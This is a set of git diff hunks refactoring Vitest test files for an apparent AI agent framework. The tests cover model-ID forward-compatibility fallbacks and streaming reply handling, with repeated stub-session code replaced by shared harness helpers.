baseUrl: "https://api.anthropic.com",
|
||||
reasoning: true,
|
||||
input: ["text", "image"] as const,
|
||||
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
};
|
||||
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn((provider: string, modelId: string) => {
|
||||
if (provider === "anthropic" && modelId === "claude-opus-4-5") {
|
||||
return templateModel;
|
||||
}
|
||||
return null;
|
||||
modelId: "claude-opus-4-5",
|
||||
templateModel: buildForwardCompatTemplate({
|
||||
id: "claude-opus-4-5",
|
||||
name: "Claude Opus 4.5",
|
||||
provider: "anthropic",
|
||||
api: "anthropic-messages",
|
||||
baseUrl: "https://api.anthropic.com",
|
||||
}),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
});
|
||||
|
||||
const result = resolveModel("anthropic", "claude-opus-4-6", "/tmp/agent");
|
||||
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model).toMatchObject({
|
||||
expectResolvedForwardCompatFallback({
|
||||
provider: "anthropic",
|
||||
id: "claude-opus-4-6",
|
||||
api: "anthropic-messages",
|
||||
baseUrl: "https://api.anthropic.com",
|
||||
reasoning: true,
|
||||
expectedModel: {
|
||||
provider: "anthropic",
|
||||
id: "claude-opus-4-6",
|
||||
api: "anthropic-messages",
|
||||
baseUrl: "https://api.anthropic.com",
|
||||
reasoning: true,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("builds an antigravity forward-compat fallback for claude-opus-4-6-thinking", () => {
|
||||
const templateModel = {
|
||||
id: "claude-opus-4-5-thinking",
|
||||
name: "Claude Opus 4.5 Thinking",
|
||||
mockDiscoveredModel({
|
||||
provider: "google-antigravity",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
input: ["text", "image"] as const,
|
||||
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
};
|
||||
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn((provider: string, modelId: string) => {
|
||||
if (provider === "google-antigravity" && modelId === "claude-opus-4-5-thinking") {
|
||||
return templateModel;
|
||||
}
|
||||
return null;
|
||||
modelId: "claude-opus-4-5-thinking",
|
||||
templateModel: buildForwardCompatTemplate({
|
||||
id: "claude-opus-4-5-thinking",
|
||||
name: "Claude Opus 4.5 Thinking",
|
||||
provider: "google-antigravity",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
}),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
});
|
||||
|
||||
const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent");
|
||||
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model).toMatchObject({
|
||||
expectResolvedForwardCompatFallback({
|
||||
provider: "google-antigravity",
|
||||
id: "claude-opus-4-6-thinking",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
expectedModel: {
|
||||
provider: "google-antigravity",
|
||||
id: "claude-opus-4-6-thinking",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("builds an antigravity forward-compat fallback for claude-opus-4-6", () => {
|
||||
const templateModel = {
|
||||
id: "claude-opus-4-5",
|
||||
name: "Claude Opus 4.5",
|
||||
mockDiscoveredModel({
|
||||
provider: "google-antigravity",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
input: ["text", "image"] as const,
|
||||
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
};
|
||||
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn((provider: string, modelId: string) => {
|
||||
if (provider === "google-antigravity" && modelId === "claude-opus-4-5") {
|
||||
return templateModel;
|
||||
}
|
||||
return null;
|
||||
modelId: "claude-opus-4-5",
|
||||
templateModel: buildForwardCompatTemplate({
|
||||
id: "claude-opus-4-5",
|
||||
name: "Claude Opus 4.5",
|
||||
provider: "google-antigravity",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
}),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
});
|
||||
|
||||
const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent");
|
||||
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model).toMatchObject({
|
||||
expectResolvedForwardCompatFallback({
|
||||
provider: "google-antigravity",
|
||||
id: "claude-opus-4-6",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
expectedModel: {
|
||||
provider: "google-antigravity",
|
||||
id: "claude-opus-4-6",
|
||||
api: "google-gemini-cli",
|
||||
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
|
||||
reasoning: true,
|
||||
contextWindow: 200000,
|
||||
maxTokens: 64000,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("builds a zai forward-compat fallback for glm-5", () => {
|
||||
const templateModel = {
|
||||
id: "glm-4.7",
|
||||
name: "GLM-4.7",
|
||||
mockDiscoveredModel({
|
||||
provider: "zai",
|
||||
api: "openai-completions",
|
||||
baseUrl: "https://api.z.ai/api/paas/v4",
|
||||
reasoning: true,
|
||||
input: ["text"] as const,
|
||||
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
|
||||
contextWindow: 200000,
|
||||
maxTokens: 131072,
|
||||
};
|
||||
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn((provider: string, modelId: string) => {
|
||||
if (provider === "zai" && modelId === "glm-4.7") {
|
||||
return templateModel;
|
||||
}
|
||||
return null;
|
||||
modelId: "glm-4.7",
|
||||
templateModel: buildForwardCompatTemplate({
|
||||
id: "glm-4.7",
|
||||
name: "GLM-4.7",
|
||||
provider: "zai",
|
||||
api: "openai-completions",
|
||||
baseUrl: "https://api.z.ai/api/paas/v4",
|
||||
input: ["text"],
|
||||
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
|
||||
maxTokens: 131072,
|
||||
}),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
});
|
||||
|
||||
const result = resolveModel("zai", "glm-5", "/tmp/agent");
|
||||
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model).toMatchObject({
|
||||
expectResolvedForwardCompatFallback({
|
||||
provider: "zai",
|
||||
id: "glm-5",
|
||||
api: "openai-completions",
|
||||
baseUrl: "https://api.z.ai/api/paas/v4",
|
||||
reasoning: true,
|
||||
expectedModel: {
|
||||
provider: "zai",
|
||||
id: "glm-5",
|
||||
api: "openai-completions",
|
||||
baseUrl: "https://api.z.ai/api/paas/v4",
|
||||
reasoning: true,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps unknown-model errors when no antigravity thinking template exists", () => {
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn(() => null),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
|
||||
const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent");
|
||||
|
||||
expect(result.model).toBeUndefined();
|
||||
expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6-thinking");
|
||||
expectUnknownModelError("google-antigravity", "claude-opus-4-6-thinking");
|
||||
});
|
||||
|
||||
it("keeps unknown-model errors when no antigravity non-thinking template exists", () => {
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn(() => null),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
|
||||
const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent");
|
||||
|
||||
expect(result.model).toBeUndefined();
|
||||
expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6");
|
||||
expectUnknownModelError("google-antigravity", "claude-opus-4-6");
|
||||
});
|
||||
|
||||
it("keeps unknown-model errors for non-gpt-5 openai-codex ids", () => {
|
||||
const result = resolveModel("openai-codex", "gpt-4.1-mini", "/tmp/agent");
|
||||
expect(result.model).toBeUndefined();
|
||||
expect(result.error).toBe("Unknown model: openai-codex/gpt-4.1-mini");
|
||||
expectUnknownModelError("openai-codex", "gpt-4.1-mini");
|
||||
});
|
||||
|
||||
it("uses codex fallback even when openai-codex provider is configured", () => {
|
||||
@@ -337,15 +329,15 @@ describe("resolveModel", () => {
|
||||
},
|
||||
} as OpenClawConfig;
|
||||
|
||||
vi.mocked(discoverModels).mockReturnValue({
|
||||
find: vi.fn(() => null),
|
||||
} as unknown as ReturnType<typeof discoverModels>);
|
||||
|
||||
const result = resolveModel("openai-codex", "gpt-5.3-codex", "/tmp/agent", cfg);
|
||||
|
||||
expect(result.error).toBeUndefined();
|
||||
expect(result.model?.api).toBe("openai-codex-responses");
|
||||
expect(result.model?.id).toBe("gpt-5.3-codex");
|
||||
expect(result.model?.provider).toBe("openai-codex");
|
||||
expectResolvedForwardCompatFallback({
|
||||
provider: "openai-codex",
|
||||
id: "gpt-5.3-codex",
|
||||
cfg,
|
||||
expectedModel: {
|
||||
api: "openai-codex-responses",
|
||||
id: "gpt-5.3-codex",
|
||||
provider: "openai-codex",
|
||||
},
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,29 +1,25 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
|
||||
describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
|
||||
it("does not strip thinking tags inside inline code backticks", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function createPartialReplyHarness() {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onPartialReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onPartialReply,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
return { emit, onPartialReply };
|
||||
}
|
||||
|
||||
it("does not strip thinking tags inside inline code backticks", () => {
|
||||
const { emit, onPartialReply } = createPartialReplyHarness();
|
||||
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -38,23 +34,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
|
||||
});
|
||||
|
||||
it("does not strip thinking tags inside fenced code blocks", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onPartialReply } = createPartialReplyHarness();
|
||||
|
||||
const onPartialReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onPartialReply,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -69,23 +51,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
|
||||
});
|
||||
|
||||
it("still strips actual thinking tags outside code spans", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onPartialReply } = createPartialReplyHarness();
|
||||
|
||||
const onPartialReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onPartialReply,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
type SubscribeEmbeddedPiSession =
|
||||
typeof import("./pi-embedded-subscribe.js").subscribeEmbeddedPiSession;
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { expect } from "vitest";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type SubscribeEmbeddedPiSession = typeof subscribeEmbeddedPiSession;
|
||||
type SubscribeEmbeddedPiSessionParams = Parameters<SubscribeEmbeddedPiSession>[0];
|
||||
type PiSession = Parameters<SubscribeEmbeddedPiSession>[0]["session"];
|
||||
type OnBlockReply = NonNullable<SubscribeEmbeddedPiSessionParams["onBlockReply"]>;
|
||||
|
||||
export function createStubSessionHarness(): {
|
||||
session: PiSession;
|
||||
@@ -17,6 +22,47 @@ export function createStubSessionHarness(): {
|
||||
return { session, emit: (evt: unknown) => handler?.(evt) };
|
||||
}
|
||||
|
||||
export function createSubscribedSessionHarness(
|
||||
params: Omit<Parameters<SubscribeEmbeddedPiSession>[0], "session"> & {
|
||||
sessionExtras?: Partial<PiSession>;
|
||||
},
|
||||
): {
|
||||
emit: (evt: unknown) => void;
|
||||
session: PiSession;
|
||||
subscription: ReturnType<SubscribeEmbeddedPiSession>;
|
||||
} {
|
||||
const { sessionExtras, ...subscribeParams } = params;
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const mergedSession = Object.assign(session, sessionExtras ?? {});
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
...subscribeParams,
|
||||
session: mergedSession,
|
||||
});
|
||||
return { emit, session: mergedSession, subscription };
|
||||
}
|
||||
|
||||
export function createParagraphChunkedBlockReplyHarness(params: {
|
||||
chunking: { minChars: number; maxChars: number };
|
||||
onBlockReply?: OnBlockReply;
|
||||
runId?: string;
|
||||
}): {
|
||||
emit: (evt: unknown) => void;
|
||||
onBlockReply: OnBlockReply;
|
||||
subscription: ReturnType<SubscribeEmbeddedPiSession>;
|
||||
} {
|
||||
const onBlockReply: OnBlockReply = params.onBlockReply ?? (() => {});
|
||||
const { emit, subscription } = createSubscribedSessionHarness({
|
||||
runId: params.runId ?? "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
blockReplyChunking: {
|
||||
...params.chunking,
|
||||
breakPreference: "paragraph",
|
||||
},
|
||||
});
|
||||
return { emit, onBlockReply, subscription };
|
||||
}
|
||||
|
||||
export function extractAgentEventPayloads(calls: Array<unknown[]>): Array<Record<string, unknown>> {
|
||||
return calls
|
||||
.map((call) => {
|
||||
@@ -26,3 +72,60 @@ export function extractAgentEventPayloads(calls: Array<unknown[]>): Array<Record
|
||||
})
|
||||
.filter((value): value is Record<string, unknown> => Boolean(value));
|
||||
}
|
||||
|
||||
export function extractTextPayloads(calls: Array<unknown[]>): string[] {
|
||||
return calls
|
||||
.map((call) => {
|
||||
const payload = call?.[0] as { text?: unknown } | undefined;
|
||||
return typeof payload?.text === "string" ? payload.text : undefined;
|
||||
})
|
||||
.filter((text): text is string => Boolean(text));
|
||||
}
|
||||
|
||||
export function emitMessageStartAndEndForAssistantText(params: {
|
||||
emit: (evt: unknown) => void;
|
||||
text: string;
|
||||
}): void {
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: params.text }],
|
||||
} as AssistantMessage;
|
||||
params.emit({ type: "message_start", message: assistantMessage });
|
||||
params.emit({ type: "message_end", message: assistantMessage });
|
||||
}
|
||||
|
||||
export function emitAssistantTextDeltaAndEnd(params: {
|
||||
emit: (evt: unknown) => void;
|
||||
text: string;
|
||||
}): void {
|
||||
params.emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
type: "text_delta",
|
||||
delta: params.text,
|
||||
},
|
||||
});
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: params.text }],
|
||||
} as AssistantMessage;
|
||||
params.emit({ type: "message_end", message: assistantMessage });
|
||||
}
|
||||
|
||||
export function expectFencedChunks(calls: Array<unknown[]>, expectedPrefix: string): void {
|
||||
expect(calls.length).toBeGreaterThan(1);
|
||||
for (const call of calls) {
|
||||
const chunk = (call[0] as { text?: unknown } | undefined)?.text;
|
||||
expect(typeof chunk === "string" && chunk.startsWith(expectedPrefix)).toBe(true);
|
||||
const fenceCount = typeof chunk === "string" ? (chunk.match(/```/g)?.length ?? 0) : 0;
|
||||
expect(fenceCount).toBeGreaterThanOrEqual(2);
|
||||
}
|
||||
}
|
||||
|
||||
export function expectSingleAgentEventText(calls: Array<unknown[]>, text: string): void {
|
||||
const payloads = extractAgentEventPayloads(calls);
|
||||
expect(payloads).toHaveLength(1);
|
||||
expect(payloads[0]?.text).toBe(text);
|
||||
expect(payloads[0]?.delta).toBe(text);
|
||||
}
|
||||
|
||||
@@ -1,25 +1,15 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
|
||||
describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
it("carries reply_to_current across tag-only block chunks", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function createBlockReplyHarness() {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
@@ -30,8 +20,14 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
},
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
return { emit, onBlockReply };
|
||||
}
|
||||
|
||||
it("carries reply_to_current across tag-only block chunks", () => {
|
||||
const { emit, onBlockReply } = createBlockReplyHarness();
|
||||
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -39,7 +35,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
delta: "[[reply_to_current]]\nHello",
|
||||
},
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
@@ -49,7 +45,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "[[reply_to_current]]\nHello" }],
|
||||
} as AssistantMessage;
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
const payload = onBlockReply.mock.calls[0]?.[0];
|
||||
@@ -59,35 +55,15 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
});
|
||||
|
||||
it("flushes trailing directive tails on stream end", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onBlockReply } = createBlockReplyHarness();
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
blockReplyChunking: {
|
||||
minChars: 1,
|
||||
maxChars: 50,
|
||||
breakPreference: "newline",
|
||||
},
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "Hello [[" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
@@ -97,7 +73,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "Hello [[" }],
|
||||
} as AssistantMessage;
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(2);
|
||||
expect(onBlockReply.mock.calls[0]?.[0]?.text).toBe("Hello");
|
||||
@@ -105,39 +81,33 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
|
||||
});
|
||||
|
||||
it("streams partial replies past reply_to tags split across chunks", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
|
||||
const onPartialReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onPartialReply,
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "[[reply_to:1897" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "]] Hello" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: " world" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
|
||||
@@ -1,30 +1,31 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("does not duplicate when text_end repeats full content", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function createTextEndHarness(chunking?: {
|
||||
minChars: number;
|
||||
maxChars: number;
|
||||
breakPreference: "newline";
|
||||
}) {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
blockReplyChunking: chunking,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
return { emit, onBlockReply, subscription };
|
||||
}
|
||||
|
||||
it("does not duplicate when text_end repeats full content", () => {
|
||||
const { emit, onBlockReply, subscription } = createTextEndHarness();
|
||||
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -33,7 +34,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
},
|
||||
});
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -46,31 +47,15 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(subscription.assistantTexts).toEqual(["Good morning!"]);
|
||||
});
|
||||
it("does not duplicate block chunks when text_end repeats full content", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
blockReplyChunking: {
|
||||
minChars: 5,
|
||||
maxChars: 40,
|
||||
breakPreference: "newline",
|
||||
},
|
||||
const { emit, onBlockReply } = createTextEndHarness({
|
||||
minChars: 5,
|
||||
maxChars: 40,
|
||||
breakPreference: "newline",
|
||||
});
|
||||
|
||||
const fullText = "First line\nSecond line\nThird line\n";
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -82,7 +67,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
const callsAfterDelta = onBlockReply.mock.calls.length;
|
||||
expect(callsAfterDelta).toBeGreaterThan(0);
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
|
||||
@@ -1,31 +1,27 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("emits block replies on text_end and does not duplicate on message_end", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function createTextEndBlockReplyHarness() {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
});
|
||||
|
||||
handler?.({
|
||||
return { emit, onBlockReply, subscription };
|
||||
}
|
||||
|
||||
it("emits block replies on text_end and does not duplicate on message_end", () => {
|
||||
const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness();
|
||||
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -34,7 +30,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
},
|
||||
});
|
||||
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: {
|
||||
@@ -52,32 +48,17 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
content: [{ type: "text", text: "Hello block" }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
expect(subscription.assistantTexts).toEqual(["Hello block"]);
|
||||
});
|
||||
it("does not duplicate when message_end flushes and a late text_end arrives", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness();
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
